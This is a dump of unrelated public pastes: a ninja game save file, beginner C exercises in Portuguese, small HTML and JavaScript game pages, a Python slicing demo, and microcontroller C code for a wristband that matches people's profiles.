:""IntValue"",""ObjectValue"":""0""},""WipeLog"":{""ObjectName"":""WipeLog"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot10"":{""ObjectName"":""Slot10"",""ObjectClass"":""StringValue"",""ObjectValue"":""Toad Summoning""},""Key9"":{""ObjectName"":""Key9"",""ObjectClass"":""StringValue"",""ObjectValue"":""9""},""Slot5"":{""ObjectName"":""Slot5"",""ObjectClass"":""StringValue"",""ObjectValue"":""Uzumaki Pull""},""Slot7"":{""ObjectName"":""Slot7"",""ObjectClass"":""StringValue"",""ObjectValue"":""Water Quaking Pillar""},""RESTORE"":{""ObjectName"":""RESTORE"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""TailedBeast"":{""ObjectName"":""TailedBeast"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""ItemSave"":{""ObjectName"":""ItemSave"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""TimesRerolled"":{""ObjectName"":""TimesRerolled"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CurseMarkEXP"":{""ObjectName"":""CurseMarkEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""HBChoice"":{""ObjectName"":""HBChoice"",""ObjectClass"":""IntValue"",""ObjectValue"":""13""},""WeaponSave"":{""ObjectName"":""WeaponSave"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""PrimaryWep"":{""ObjectName"":""PrimaryWep"",""ObjectClass"":""StringValue"",""ObjectValue"":""Kunai""},""OriginalVillage"":{""ObjectName"":""OriginalVillage"",""ObjectClass"":""IntValue"",""ObjectValue"":""6""},""BijuuSealed"":{""ObjectName"":""BijuuSealed"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Name"":{""ObjectName"":""Name"",""ObjectClass"":""StringValue"",""ObjectValue"":""Exo""},""LastChakra"":{""ObjectName"":""LastChakra"",""ObjectClass"":""IntValue"",""ObjectValue"":""3139""},""Parentq"":{""ObjectName"":""Parentq"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key3"":{""ObjectName"":""Key3"",""ObjectClass"":""StringValue"",""ObjectValue"":""3""},""RU"":{""ObjectName"":""RU"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key1"":{""ObjectName"":""Key1"",""ObjectClass"":""StringValue"",""ObjectValue"":""1""},""logcheck"":{""ObjectName"":""logcheck"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot-"":{""ObjectName"":""Slot-"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""PrimaryAmmo"":{""ObjectName"":""PrimaryAmmo"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""FamilyID"":{""ObjectName"":""FamilyID"",""ObjectClass"":""StringValue"",""ObjectValue"":""Exo(20)2585934""},""PrimaryCN"":{""ObjectName"":""PrimaryCN"",""ObjectClass"":""IntValue"",""ObjectValue"":""5""},""Key8"":{""ObjectName"":""Key8"",""ObjectClass"":""StringValue"",""ObjectValue"":""8""},""Slot3"":{""ObjectName"":""Slot3"",""ObjectClass"":""StringValue"",""ObjectValue"":""Great Uzumaki Chains""},""Slot="":{""ObjectName"":""Slot="",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""Blindness"":{""ObjectName"":""Blindness"",""ObjectClass"":""NumberValue"",""ObjectValue"":""0""},""IsExiled"":{""ObjectName"":""IsExiled"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""GrandParentID"":{""ObjectName"":""GrandParentID"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""BerserkTimes"":{""ObjectName"":""BerserkTimes"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SpentSkillPoints"":{""ObjectName"":""SpentSkillPoints"",""ObjectClass"":""IntValue"",""ObjectValue"":""-25""},""AnbuLog"":{""ObjectName"":""AnbuLog"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key6"":{""ObjectName"":""Key6"",""ObjectClass"":""StringValue"",""ObjectValue"":""6""},""berserkcheck"":{""ObjectName"":""berserkcheck"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""EyeColorB"":{""ObjectName"":""EyeColorB"",""ObjectClass"":""IntValue"",""ObjectValue"":""233""},""Slot1"":{""ObjectName"":""Slot1"",""ObjectClass"":""StringValue"",""ObjectValue"":""Uzumaki Barrier""},""PDLog"":{""ObjectName"":""PDLog"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key10"":{""ObjectName"":""Key10"",""ObjectClass"":""StringValue"",""ObjectValue"":""0""},""BDAYS"":{""ObjectName"":""BDAYS"",""ObjectClass"":""StringValue"",""ObjectValue"":""0""},""HideName"":{""ObjectName"":""HideName"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""DateRecord"":{""ObjectName"":""DateRecord"",""ObjectClass"":""IntValue"",""ObjectValue"":""2087""},""Key4"":{""ObjectName"":""Key4"",""ObjectClass"":""StringValue"",""ObjectValue"":""4""},""MaxAge"":{""ObjectName"":""MaxAge"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SecondaryAmmo"":{""ObjectName"":""SecondaryAmmo"",""ObjectClass"":""IntValue"",""ObjectValue"":""9""},""AgeLimit"":{""ObjectName"":""AgeLimit"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""ResetPos"":{""ObjectName"":""ResetPos"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SkillPoints"":{""ObjectName"":""SkillPoints"",""ObjectClass"":""IntValue"",""ObjectValue"":""25""},""Rank"":{""ObjectName"":""Rank"",""ObjectClass"":""IntValue"",""ObjectValue"":""23""},""Slot2"":{""ObjectName"":""Slot2"",""ObjectClass"":""StringValue"",""ObjectValue"":""Uzumaki Barrage""},""LastKilledUser"":{""ObjectName"":""LastKilledUser"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Trauma"":{""ObjectName"":""Trauma"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""MissionSuccess"":{""ObjectName"":""MissionSuccess"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CurrentWep"":{""ObjectName"":""CurrentWep"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""Slot0"":{""ObjectName"":""Slot0"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""LeftEye"":{""ObjectName"":""LeftEye"",""ObjectClass"":""StringValue"",""ObjectValue"":""Default""},""MissionEXP"":{""ObjectName"":""MissionEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""RyoRES"":{""ObjectName"":""RyoRES"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""LastHealth"":{""ObjectName"":""LastHealth"",""ObjectClass"":""IntValue"",""ObjectValue"":""79""},""Ryo"":{""ObjectName"":""Ryo"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CColorR"":{""ObjectName"":""CColorR"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Key7"":{""ObjectName"":""Key7"",""ObjectClass"":""StringValue"",""ObjectValue"":""h""},""WeaveSpeed"":{""ObjectName"":""WeaveSpeed"",""ObjectClass"":""IntValue"",""ObjectValue"":""20""},""RightEye"":{""ObjectName"":""RightEye"",""ObjectClass"":""StringValue"",""ObjectValue"":""Default""},""DefaultMouth"":{""ObjectName"":""DefaultMouth"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""startnewlife"":{""ObjectName"":""startnewlife"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""PosX"":{""ObjectName"":""PosX"",""ObjectClass"":""IntValue"",""ObjectValue"":""2558""},""ParentID"":{""ObjectName"":""ParentID"",""ObjectClass"":""StringValue"",""ObjectValue"":""""},""TailedBeastEXP"":{""ObjectName"":""TailedBeastEXP"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""CColorG"":{""ObjectName"":""CColorG"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""MaxTails"":{""ObjectName"":""MaxTails"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Age"":{""ObjectName"":""Age"",""ObjectClass"":""IntValue"",""ObjectValue"":""10""},""Deaths"":{""ObjectName"":""Deaths"",""ObjectClass"":""IntValue"",""ObjectValue"":""15""},""Village"":{""ObjectName"":""Village"",""ObjectClass"":""IntValue"",""ObjectValue"":""1""},""bald"":{""ObjectName"":""bald"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""SecondaryCN"":{""ObjectName"":""SecondaryCN"",""ObjectClass"":""IntValue"",""ObjectValue"":""2""},""KillStreak"":{""ObjectName"":""KillStreak"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Slot8"":{""ObjectName"":""Slot8"",""ObjectClass"":""StringValue"",""ObjectValue"":""Rasengan""},""kek"":{""ObjectName"":""kek"",""ObjectClass"":""IntValue"",""ObjectValue"":""20""},""Influence"":{""ObjectName"":""Influence"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Title"":{""ObjectName"":""Title"",""ObjectClass"":""StringValue"",""ObjectValue"":""Kage""}},""Skilltree"":{""Extended Clip"":{""ObjectName"":""Extended Clip"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Chakra Transfer"":{""ObjectName"":""Chakra Transfer"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Chakra Transfer 2"":{""ObjectName"":""Chakra Transfer 2"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Uzumaki Barrage"":{""ObjectName"":""Uzumaki Barrage"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Water Quaking Pillar"":{""ObjectName"":""Water Quaking Pillar"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Enhanced Movement"":{""ObjectName"":""Enhanced Movement"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Medical Ninjutsu"":{""ObjectName"":""Medical Ninjutsu"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Enhanced Strength"":{""ObjectName"":""Enhanced Strength"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Uzumaki Chains"":{""ObjectName"":""Uzumaki Chains"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Water Bullet"":{""ObjectName"":""Water Bullet"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Self Heal 2"":{""ObjectName"":""Self Heal 2"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Substitution"":{""ObjectName"":""Substitution"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Uzumaki Rasengan"":{""ObjectName"":""Uzumaki Rasengan"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Chakra Scalpel"":{""ObjectName"":""Chakra Scalpel"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Hail"":{""ObjectName"":""Hail"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Clone Jutsu"":{""ObjectName"":""Clone Jutsu"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Medical Ninjutsu 2"":{""ObjectName"":""Medical Ninjutsu 2"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Shuriken Upgrade"":{""ObjectName"":""Shuriken Upgrade"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Medical Ninjutsu 3"":{""ObjectName"":""Medical Ninjutsu 3"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Self Heal"":{""ObjectName"":""Self Heal"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""},""Shuriken Fan"":{""ObjectName"":""Shuriken Fan"",""ObjectClass"":""IntValue"",""ObjectValue"":""0""}},""Copy"":[]}" +RXGi1Hr2,Programa C Calculo Funcionarios,hercioneto,C,Wednesday 18th of October 2023 03:23:51 PM CDT,"// Online C compiler to run C program online +/* +Dado um número indeterminado de funcionários, onde são fornecidos o Nome, Número de Dependentes e o Número de Horas Trabalhadas. Pede-se um programa que imprima, para cada funcionário, o seu Nome, Salário Bruto, Salário Líquido e o Valor Descontado. A empresa paga R$ 12,50 por hora de trabalho e R$ 125,55 por dependente, e ainda faz um desconto de 12% sobre o salário bruto. Pede-se ainda que seja impresso o total de funcionários da empresa e o total gasto com salários. Para encerrar a entrada de dados, considere o nome igual a “FIM”. +*/ +#include + +void main() { + char nomeFunc[50]; + int totalFuncionarios; + float dependentes, numeroHorasTrab=0.0,salarioBruto=0.0,salarioLiquido=0.0,valorDescontado=0.0,valorHora=0.0,valorPorDependente=0.0,totalSalarios=0.0,valorDesconto=0.0; + + valorHora = 12.50; + valorPorDependente=125.55; + valorDesconto = 12.00/100.00; + + printf(""Digite o nome do funcionario: ""); + scanf(""%s"",&nomeFunc); + + while (nomeFunc != ""FIM"") { + + printf(""Digite o numero de horas que o funcionario trabalhou: ""); + scanf(""%f"",&numeroHorasTrab); + + printf(""Digite a quantidade de dependentes do funcionario: ""); + scanf(""%f"",&dependentes); + + salarioBruto = (numeroHorasTrab*valorHora)+(dependentes*valorPorDependente); + valorDescontado=salarioBruto*valorDesconto; + salarioLiquido = salarioBruto-valorDescontado; + + totalFuncionarios = totalFuncionarios+1; + + totalSalarios = totalSalarios+salarioLiquido; + + printf(""Dados do funcionario %s \n"",nomeFunc); + printf(""Salario Bruto: %f \n"",salarioBruto); + printf(""Valor descontato: %f \n"",valorDescontado); + printf(""Salario Liquido: %f \n"",salarioLiquido); + + printf(""Digite o nome do funcionario: ""); + scanf(""%s"",&nomeFunc); +} + +}" +gTBEKc6S,Splitter HTML page,andruhovski,HTML 5,Wednesday 18th of October 2023 03:21:32 PM CDT," + + + + + + + Aspose.PDF for JavaScript via C++ Demo + + + + + + +
+
+

+ Aspose.PDF for JavaScript via C++ +

+
+
+
+
+ +
+
+
+ +
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+ + + + + + +" +nUkydJ7K,speed duel package.html,Mangus875,HTML,Wednesday 18th of October 2023 02:56:29 PM CDT," + + + + + + +
+
+ + +" +uKVLByAa,programa C Audiência,hercioneto,C,Wednesday 18th of October 2023 02:56:09 PM CDT,"// Online C compiler to run C program online +/* +Foi feita uma pesquisa de audiência de canal de TV em várias casas de uma certa cidade, num determinado dia. Para cada casa visitada, é fornecido o número do canal (4,5, 7, 12) e o número de pessoas que o estavam assistindo naquela casa. Se a televisão estivesse desligada, nada era anotado, ou seja, esta casa não entrava na pesquisa. Fazer um programa que: Leia um número indeterminado de dados, sendo que o encerramento corresponde ao número do canal igual a zero. Calcule a porcentagem de audiência para cada emissora. Escreva o número do canal e a sua respectiva porcentagem. +*/ +#include + +void main() { + int canal; + float espectadores=0, totalEspectadores=0, canal4=0,canal5=0,canal7=0,canal12=0; + float canal4P=0.00,canal5P=0.00,canal7P=0.00,canal12P=0.00; + + printf(""Digite o número do canal: ""); + scanf (""%i"",&canal); + + while (canal!=0) { + + if (canal!=0) { + printf(""Digite o número de espectadores: ""); + scanf (""%f"",&espectadores); + totalEspectadores = totalEspectadores+espectadores; + } + switch (canal) { + case 0: + break; + case 4: + canal4 = canal4+espectadores; + break; + case 5: + canal5 = canal5+espectadores; + break; + case 7: + canal7 = canal7+espectadores; + break; + case 12: + canal12 = canal12+espectadores; + break; + default: + printf(""Canal invalido.\n""); + break; + } + + printf(""Digite o número do canal: ""); + scanf (""%i"",&canal); + + } + printf(""Somando canal 4 %f \n"",canal4); + printf(""Somando canal 5 %f \n"",canal5); + printf(""Somando canal 7 %f \n"",canal7); + printf(""Somando canal 12 %f \n"",canal12); + + printf(""Total de espectadores: %f \n"",totalEspectadores); + canal4P = (canal4/totalEspectadores)*100; + canal5P = (canal5/totalEspectadores)*100; + canal7P = (canal7/totalEspectadores)*100; + canal12P = (canal12/totalEspectadores)*100; + + printf(""O canal 4 teve %f porcentagem de audiencia.\n"",canal4P); + printf(""O canal 5 teve %f porcentagem de audiencia.\n"",canal5P); + printf(""O canal 7 teve %f porcentagem de audiencia.\n"",canal7P); + printf(""O canal 12 teve %f porcentagem de audiencia.\n"",canal12P); + +}" +CCmhTAwz,duel.js,Mangus875,JavaScript,Wednesday 18th of October 2023 02:55:28 PM CDT,"var inputs = []; +inputs.Player1 = ['s', 'd', 'f', 'g']; +inputs.Player2 = ['h', 'j', 'k', 'l']; + +var move1 = false; +var move2 = false; +var progress = 50; + +var side1, side2, seperator, mainText; // elements +var gameState = ""playing""; + +// events +window.onload = function () { + side1 = document.getElementById(""side1""); + side2 = document.getElementById(""side2""); + + setInterval(update); +} + +document.onkeydown = function (e) { + let key = e.key.toLowerCase(); + if (key == '0') progress = 50; + + if (gameState != 'playing') return; + + if (isInArray(key, inputs.Player1) && !e.repeat) move1 = true; + if (isInArray(key, inputs.Player2) && !e.repeat) move2 = true; +} + +// functions +function render() { + if (gameState == 'playing') { + setText(side1, progress); + setText(side2, 100 - progress); + } else { + setText(side1, """"); + setText(side2, """"); + } + + setSize(side1, progress + '%'); + setPos(side2, progress + '%'); + setSize(side2, 100 - progress + '%'); + + side1.style.fontSize = map(progress, 0, 100, 0, 50) + 'vw'; + side2.style.fontSize = map(progress, 0, 100, 50, 0) + 'vw'; +} + +function update() { + if (move1) { + progress++; + move1 = false; + } + if (move2) { + progress--; + move2 = false; + } + progress = clamp(progress, 0, 100); + render(); +} + +function countDown(elem, startTime, rate = 1000, endText = '0', clearOnFinish = true) { + startTime = Math.floor(startTime); + + if (startTime == 0) { + setText(elem, endText); + if (clearOnFinish) { + countDown(elem, startTime - 1, rate, endText, clearOnFinish); + } + } else if (startTime == -1) { + setTimeout(function () { + setText(elem, """"); + }, rate); + } else { + setText(elem, startTime); + setTimeout(function () { + countDown(elem, startTime - 1, rate, endText, clearOnFinish); + }, rate); + } +} + +function clamp(n, min = 0, max = 1) { + if (n < min) return min; + if (n > max) return max; + return n; +} + +function map(n, a1, b1, a2, b2) { + return (n - a1) / (b1 - a1) * (b2 - a2) + a2; +} + +function getSize(elem) { + let cStyle = window.getComputedStyle(elem); + let s = []; + s.w = parseInt(cStyle.width); + s.h = parseInt(cStyle.height); + return s; +} + +function setSize(elem, w, h) { + elem.style.width = w; + elem.style.height = h; +} + +function setPos(elem, x, y) { + elem.style.left = x; + elem.style.top = y; +} + +/* +function movePos(elem, x, y) { + let curX = getPos(elem).x; + let curY = getPos(elem).y; + let newX = curX + x; + let newY = curY + y; + setPos(elem, newX, newY); +} +*/ + +function getPos(elem) { + let cStyle = window.getComputedStyle(elem); + let pos = []; + pos.x = parseInt(cStyle.left); + pos.y = parseInt(cStyle.top); + return pos; +} + +function setText(elem, txt) { + elem.textContent = txt; +} + +function isInArray(val, arr) { + return arr.find(function (curVal) { + console.log(curVal, val); + return curVal == val; + }) != undefined; +} + +function findInArray(val, arr) { + let index = 0; + let found = arr.find(function (curVal) { + console.log(curVal, val); + index++; + return curVal == val; + }); + + if (found) { + return index - 1; + } +}" +ke9capr1,speed_duel.html,Mangus875,HTML,Wednesday 18th of October 2023 02:54:48 PM CDT," + + + + + + + +
+
+ + +" +Z5Gm6zmg,Shape Map Part 2,robinmollen,Lua,Wednesday 18th of October 2023 02:47:12 PM CDT,"require(15097139895).LoadMap(true,true,true)" +PbmBdQr6,Untitled,Nenogzar,Python,Wednesday 18th of October 2023 02:44:03 PM CDT,"start = ord('а') # Начален символ ""а"" +end = ord('я') # Крайен символ ""я"" + +# Генериране на кортеж с буквите от ""а"" до ""я"" +azbukata = tuple(chr(code) for code in range(start, end + 1)) + +result = azbukata[5] +result1 = azbukata[5:] +result2 = azbukata[:6] +result3 = azbukata[-6:] +result4 = azbukata[::-1] +result5 = azbukata[10::-1] + +print(""[5]"", result) +print(""[5:]"", result1) +print(""[:6]"", result2) +print(""[-6:]"", result3) +print(""[::-1]"", result4) +print(""[10::-1]"", result5)" +Tz6rwH7d,Main_NRFL_2,Mukmin039,C,Wednesday 18th of October 2023 02:20:57 PM CDT,"/* + * File: MatchingWristMain.c + * Author: Rito III + * + * Created on 7 de abril de 2022, 7:08 + */ + + +#include ""xc.h"" +#include ""stdio.h"" +#include ""math.h"" +//#include ""iostream.h"" +//#include ""FastLED.h"" +#include ""../nrf24_lib.h"" +#include ""build/default/debug/../production/mcc_generated_files/../../production/mcc_generated_files/../../../../string.h"" +#include ""../mcc_generated_files/mcc.h"" +#include""string.h"" + + + +NRF24_INIT_STATUS ret; +unsigned char i; +unsigned char bufferTX[50]; +unsigned char bufferRX[50]; +//int NRF24L01_TX_EX = 1; +//int NRF24L01_RX_EX = 0; +#define NRF24L01_TX_EX 1 +#define NRF24L01_RX_EX !NRF24L01_TX_EX + +char datos={0};//number of the device plus personal data +char buffer; + + + +char dispositivo[3]; +char genero[3]; +int age; +char edo_civil[3]; +char hijos[3]; +char religion [3]; +char educacion[3]; +char toma[3]; +char fuma[3]; +char ocupacion[3]; +char caracter[3]; +char casa[3]; +char carro[3]; +char comportamiento[3]; + +char dispositivo_h[3]; +char genero_h[3]; +int age_h; +char edo_civil_h[3]; +char hijos_h[3]; +char religion_h [3]; +char educacion_h[3]; +char toma_h[3]; +char fuma_h[3]; +char ocupacion_h[3]; +char caracter_h[3]; +char casa_h[3]; +char carro_h[3]; +char comportamiento_h[3]; + +//const unsigned long long pipes[2] = { 0xEEFDFDFDECLL, 0xEEFDFDF0DFLL }; + + + + +void blink_led() { + LED_Toggle(); +} + + + + + + +//#define LED_PIN 2 +//#define NUM_LED 3 + +//CRGB leds[NUM_LED]; + +//void setup () +//{ +//FastLED.addLeds(leds,NUM_LED); +//FastLED.SetMaxPowerInVoltsAndMilliamps(3,300); +//leds[1]= CRGB (0,255,0); +//FastLED.show(); +//FastLED.clear(); +//} + + + + +void Led_color(int color) +{ +if (color==1) +{ +//leds[1]= CRGB[255,0,0]; +//FastLED.show(); +int k; +for (k=0;k<= 6;k++) +{ + LATBbits.LATB5 = 1; + LATBbits.LATB4 = 1; + LATBbits.LATB3 = 1; + +__delay_ms(1000); +LATBbits.LATB3 = 0; +LATBbits.LATB4 = 0; +LATBbits.LATB5 = 0; + __delay_ms(1000); + +//printf(""blink Red color\n""); +} +} +if (color==2) +{ +//leds[1]= CRGB[0,0,255]; +//FastLED.show(); +int w; +for (w=0;w<= 6;w++) +{ + + + LATBbits.LATB0 = 1; + LATBbits.LATB1= 1; + LATBbits.LATB2 = 1; + +__delay_ms(1000); + LATBbits.LATB0 = 0; + LATBbits.LATB1= 0; + LATBbits.LATB2 = 0; +__delay_ms(1000); +//printf(""blink yellow color\n""); +} +} +if (color==3) +{ +int z; +for (z=0;z<= 6;z++) +{ + +LATDbits.LATD5 = 1; +LATDbits.LATD6 = 1; +LATDbits.LATD7 = 1; +__delay_ms(1000); +LATDbits.LATD5 = 0; +LATDbits.LATD6 = 0; +LATDbits.LATD7 = 0; +__delay_ms(1000); +//printf(""blink green colour\n""); +} +} +} +//void timer1_interrupt (void) +//{ + + +//} + +/* +void timer1_run (void) +{ + //initialize the timer + TMR1=0; //TIMER 1 CON OSCILADOR EXTERNO Y PRESCALER DE 8 + T1CONbits.TMR1ON = 0;//apago el timer 1 y es tambien para la interrupcion del rollover + T1CONbits.TMR1CS = 0b10;//lo configuro con oscilador externo + T1CONbits.T1CKPS = 0b11;//lo configuro con 1 de preescaler + T1CONbits.SOSCEN = 1;//configuro para oscilador externo + OSCCON2bits.SOSCGO = 1; //configuro para oscilador externo con entrada en SOSCO/SOSCI pins + PIE1bits.TMR1IE = 1;//habilita interrupcion + //inicializamos contadores y TMR1 registros + TMR1H = 0; + TMR1L = 0; + PIR1bits.TMR1IF = 0; //para borrar la interrupcion por desbordamiento del timer + T1CONbits.T1SYNC = 1; //para syncronizar el oscilador + + TMR1=0xFB1E; // 64,286 para contar 200 msec por 100 veces + T1CONbits.TMR1ON = 1;//enciendo el timer + +}*/ + + +void seleccion (unsigned char* t, unsigned char* r){ + +unsigned char host[50]; +unsigned char data[50]; + +char soltero[3] = {""67""}; +char casado [3]= {""68""}; +char divorciado[3] = {""69""}; +char complicado[3] = {""6A""}; +char con_hijos[3]= {""6B""}; +char sin_hijos[3] ={""6C""}; +char catolico[3]={""6D""}; +char cristiano[3]={""6E""}; +char musulman[3] = {""6F""}; +char ateo[3] = {""70""}; +char testigo[3] = {""71""}; +char luz_mundo[3] = {""72""}; +char sin_religion[3] = {""73""}; +char otra[3] = {""74""}; +char ingeniero[3] = {""75""}; +char no_importa[3] = {""9B""}; +char licenciado[3] = {""76""}; +char master [3]= {""77""}; +char doctorado[3] = {""78""}; +char tecnico[3] = {""79""}; +char prepa[3] = {""7A""}; +char secundaria [3]= {""7B""}; +char primaria[3] = {""7C""}; +char sin_estudios[3] = {""7D""}; +char drinks[3] = {""7E""}; +char no_toma[3] ={""7F""}; +char smoke[3] = {""80""}; +char no_fuma[3] = {""81""}; +char empleado[3] = {""82""}; +char comerciante[3] = {""83""}; +char business_owner[3] = {""84""}; +char sin_trabajo[3] = {""85""}; +char ama_de_casa[3] = {""86""}; +char caracter_fuerte[3] = {""87""}; +char caracter_dulce [3]= {""88""}; +char timido [3]= {""89""}; +char bondadoso[3] = {""8A""}; +char agarrado[3] = {""8B""}; +char honesto [3]= {""8C""}; +char trakala [3]= {""8D""}; +char casa_propia[3] = {""8E""}; +char renta [3]= {""8F""}; +char carro_propio[3] = {""90""}; +char sin_carro [3]= {""91""}; +char buen_corazon[3] = {""92""}; +char romantico [3]= {""93""}; +char detallista [3]= {""94""}; +char con_mala_memoria [3]= {""95""}; +char no_romantico[3] = {""96""}; +char no_detallsita [3]= {""97""}; +char colerico[3] = {""98""}; +char protector[3] = {""99""}; +char abusivo [3]= {""9A""}; + + + +strcpy (data,t); +strcpy(host,r); + +char d[]="",""; + + char *datap0 = strtok(data,d); +strcpy(dispositivo ,datap0); // add the device + char *datap1=strtok(NULL,d); +strcpy(genero ,datap1); // add the gender + char *datap2=strtok(NULL,d); +age= atoi(datap2); //add the age and converted into integer + char *datap3=strtok(NULL,d); +strcpy(edo_civil,datap3);//if married or not + char *datap4=strtok(NULL,d); +strcpy(hijos,datap4);//if any kids + char *datap5=strtok(NULL,d); +strcpy(religion,datap5); // religion + char *datap6=strtok(NULL,d); +strcpy(educacion ,datap6);//education + char *datap7=strtok(NULL,d); +strcpy(ocupacion,datap7);//drinks + char *datap8=strtok(NULL,d); +strcpy(caracter ,datap8);//smokes + char *datap9=strtok(NULL,d); +strcpy(toma ,datap9); //occupation + char *datap10=strtok(NULL,d); +strcpy(fuma ,datap10);//character + char *datap11=strtok(NULL,d); +strcpy(casa ,datap11);//house +char *datap12=strtok(NULL,d); +strcpy(carro ,datap12);//car + char *datap13=strtok(NULL,d); +strcpy(comportamiento,datap13);//comportamiento + char *datap14=strtok(NULL,d); + +//host + char *hostp0 = strtok(host,d); +strcpy(dispositivo_h,hostp0);//add the device into the string + char *hostp1=strtok(NULL,d); +strcpy(genero_h,hostp1); // add the gender + char *hostp2=strtok(NULL,d); +age_h= atoi(hostp2); //add the age and converted into integer + char *hostp3=strtok(NULL,d); +strcpy(edo_civil_h,hostp3);//if married or not + char *hostp4=strtok(NULL,d); + strcpy(hijos_h,hostp4);//if any kids + char *hostp5=strtok(NULL,d); +strcpy(religion_h ,hostp5);//religion + char *hostp6=strtok(NULL,d); +strcpy(educacion_h ,hostp6);//education +char *hostp7=strtok(NULL,d); +strcpy(ocupacion_h ,hostp7);//drinks + char *hostp8=strtok(NULL,d); +strcpy(caracter_h ,hostp8);//smokes + char *hostp9=strtok(NULL,d); +strcpy(toma_h ,hostp9); //occupation + char *hostp10=strtok(NULL,d); +strcpy(fuma_h ,hostp10);//character + char *hostp11=strtok(NULL,d); +strcpy(casa_h ,hostp11);//house + char *hostp12=strtok(NULL,d); +strcpy(carro_h ,hostp12);//car +char *hostp13=strtok(NULL,d); +strcpy(comportamiento_h,hostp13);//comportamiento +char *hostp14=strtok(NULL,d); + + + if ( strcmp(genero,genero_h)!=0 )//revisa genero + { + if ( age_h <= age )//revisa edad + { + //printf(""Edad compatible\n"");//tengo que diseñar algo que me actualize esto sin conectarme a la pulsera + if (( strcmp(edo_civil_h,soltero)==0 )||(strcmp(edo_civil_h,divorciado)==0 )||(strcmp(edo_civil_h,complicado)==0 ))//revisa estado civil + { + //printf(""Estado civil compatible\n""); + if (strcmp(hijos_h,sin_hijos)==0)//sin hijos + { + //printf(""Hijos compatible\n""); + if (strcmp(religion,religion_h)==0)//misma.religion + { + //printf(""Religion compatible\n""); + if ((strcmp(educacion_h,ingeniero)==0)||(strcmp(educacion_h,licenciado)==0)||(strcmp(educacion_h,master)==0)||(strcmp(educacion_h,doctorado)==0)||(strcmp(educacion_h,no_importa)==0)) + { + //printf(""educacion compatible\n""); + if ((strcmp(ocupacion_h,empleado)==0)||(strcmp(ocupacion_h,comerciante)==0)||(strcmp(ocupacion_h,business_owner)==0)||(strcmp(ocupacion_h,ama_de_casa)==0)) // le gusta la profesion + { + //printf(""ocupacion compatible\n""); + if ((strcmp(caracter_h,caracter_dulce)==0)||(strcmp(caracter,timido)==0)||(strcmp(caracter_h,bondadoso)==0)||(strcmp(caracter_h,trakala)==0)) + { + //printf(""caracter_compatible\n""); + if (strcmp(toma_h,no_toma)==0)//si no toma + { + //printf(""Bebida compatible\n""); + if (strcmp(fuma_h,no_fuma)==0)//si no fuma + { + //printf(""Fumar compatible\n""); + if (strcmp(casa_h,casa_propia)==0 )//likes have a house + { + //printf(""Casa compatible\n""); + if (strcmp(carro_h,carro_propio)==0)//likes have a car + { + //printf(""Carro compatible\n""); + if ((strcmp(comportamiento_h,buen_corazon)==0 )||(strcmp(comportamiento_h,romantico)==0)||(strcmp(comportamiento_h,detallista)==0)||(strcmp(comportamiento_h,protector)==0))//likes behaviour + { + // printf(""Personalidad compatible\n""); + Led_color(3); + } + else + { + //flash yellow wrist + //printf(""personalidad no compatible\n""); + Led_color(2); + } + } + else + { + //printf(""carro 